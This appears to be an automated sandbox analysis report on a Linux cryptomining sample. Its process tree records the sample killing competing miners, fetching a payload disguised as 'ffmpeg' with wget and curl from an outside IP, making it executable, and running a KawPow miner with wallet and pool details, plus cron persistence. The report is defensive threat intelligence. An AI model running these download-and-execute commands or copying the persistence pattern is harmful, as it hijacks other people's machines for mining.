Overview

overview

7

Static

static

1

main

ubuntu-18.04-amd64

7

Analysis

  • max time kernel
    149s
  • max time network
    129s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20260513-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    23/08/2026, 06:18

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    main
  • Size 2.5MB
  • Sample260823-g2sdhatdmc
  • SHA256 66cfedb8a0fbf80f79f803e2b7ec815db887298e0b16907a6b358efdf37789c2
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
7/10
defense_evasiondiscoveryexecutionpersistenceprivilege_escalation

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads CPU attributes 1 TTPs 17 IoCs
    discovery
  • Enumerates kernel/hardware configuration 1 TTPs 1 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

    discovery
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 5 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/main
    /tmp/main
    1⤵
    • Enumerates kernel/hardware configuration
    • Writes file to tmp directory
    PID:1487
    • /bin/bash
      bash
      2⤵
      • Executes dropped EXE
      PID:1493
      • /usr/bin/pkill
        pkill -f .report_system
        3⤵
        • Reads CPU attributes
        • Reads runtime system information
        PID:1494
      • /usr/bin/pkill
        pkill -f vid
        3⤵
        • Reads CPU attributes
        • Reads runtime system information
        PID:1497
      • /usr/bin/pkill
        pkill -f .ka.m
        3⤵
        • Reads CPU attributes
        • Reads runtime system information
        PID:1499
      • /usr/bin/pkill
        pkill -f .bashrc
        3⤵
        • Reads CPU attributes
        • Reads runtime system information
        PID:1503
      • /usr/bin/pkill
        pkill -f rigel
        3⤵
        • Reads CPU attributes
        • Reads runtime system information
        PID:1504
      • /usr/bin/pkill
        pkill -f "bash /dev/fd/63"
        3⤵
        • Reads CPU attributes
        • Reads runtime system information
        PID:1506
      • /usr/bin/pkill
        pkill -f "node index.js"
        3⤵
        • Reads CPU attributes
        • Reads runtime system information
        PID:1507
      • /usr/bin/pkill
        pkill -f xmrig
        3⤵
        • Reads CPU attributes
        • Reads runtime system information
        PID:1508
      • /usr/bin/pkill
        pkill -f systemd-helper
        3⤵
        • Reads CPU attributes
        • Reads runtime system information
        PID:1509
      • /usr/bin/pkill
        pkill -f .javago
        3⤵
        • Reads CPU attributes
        • Reads runtime system information
        PID:1510
      • /usr/bin/pkill
        pkill -f x86_32
        3⤵
        • Reads CPU attributes
        • Reads runtime system information
        PID:1511
      • /usr/bin/pkill
        pkill -f "xmr*"
        3⤵
        • Reads CPU attributes
        • Reads runtime system information
        PID:1512
      • /usr/bin/pkill
        pkill -f x86
        3⤵
        • Reads CPU attributes
        • Reads runtime system information
        PID:1513
      • /usr/bin/pkill
        pkill -f rdxr
        3⤵
        • Reads CPU attributes
        • Reads runtime system information
        PID:1514
      • /usr/bin/pkill
        pkill -f xmrigARM
        3⤵
        • Reads CPU attributes
        • Reads runtime system information
        PID:1517
      • /usr/bin/pkill
        pkill -f .profile
        3⤵
        • Reads CPU attributes
        • Reads runtime system information
        PID:1518
      • /usr/bin/pkill
        pkill -f earnfm_example
        3⤵
        • Reads CPU attributes
        • Reads runtime system information
        PID:1519
      • /usr/bin/wget
        wget http://176.65.139.211/ffmpeg
        3⤵
        • Writes file to tmp directory
        PID:1520
      • /usr/bin/curl
        curl -LO http://176.65.139.211/ffmpeg
        3⤵
        • Writes file to tmp directory
        PID:1521
      • /bin/chmod
        chmod +x /tmp/ffmpeg
        3⤵
        • File and Directory Permissions Modification
        PID:1522
      • /tmp/ffmpeg
        /tmp/ffmpeg -algo KawPow -wallet wixer.sefu -pool1 167.17.47.138:3335 -protocol JSON-RPC
        3⤵
        • Creates/modifies Cron job
        • Writes file to tmp directory
        PID:1523

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        0
        • Path /etc/cron.hourly/0
        • Size 92B
        • SHA256 982f9e0f089b91ba79df723435099df15c72e1201a45010ee60226ab136c93bf
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        ffmpeg
        • Path /tmp/ffmpeg
        • Size 95.6MB
        • SHA256 c69ea3135e6d7dde2c4270bf72dd32016eb1c4bd2fae7defd29bf19916539c9f
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ffmpeg
        • Path /tmp/ffmpeg
        • Size 95.6MB
        • SHA256 ad00f04526559b1e507df207852a9fd6c54fe4a33effd888eba2a775e5e9b9e6
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        fileyD2Hsd
        • Path /tmp/fileyD2Hsd
        • Size 95.6MB
        • SHA256 a28a5b7b84a3ebfc013cb1cb069b1c0b2854484a217f0f00e8608f4541727c2d
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        miner_err.log
        • Path /tmp/miner_err.log
        • Size 11KB
        • SHA256 6c0839c2b91a7e31ded948063a9d2948dbf153bd9f4d12aafaa31b81dfd79868
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        miner_err.log
        • Path /tmp/miner_err.log
        • Size 146KB
        • SHA256 1fe5a80fd489ec09fa4d20a28eb1a7aeda9942823a70035547417aa59da5e15b
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download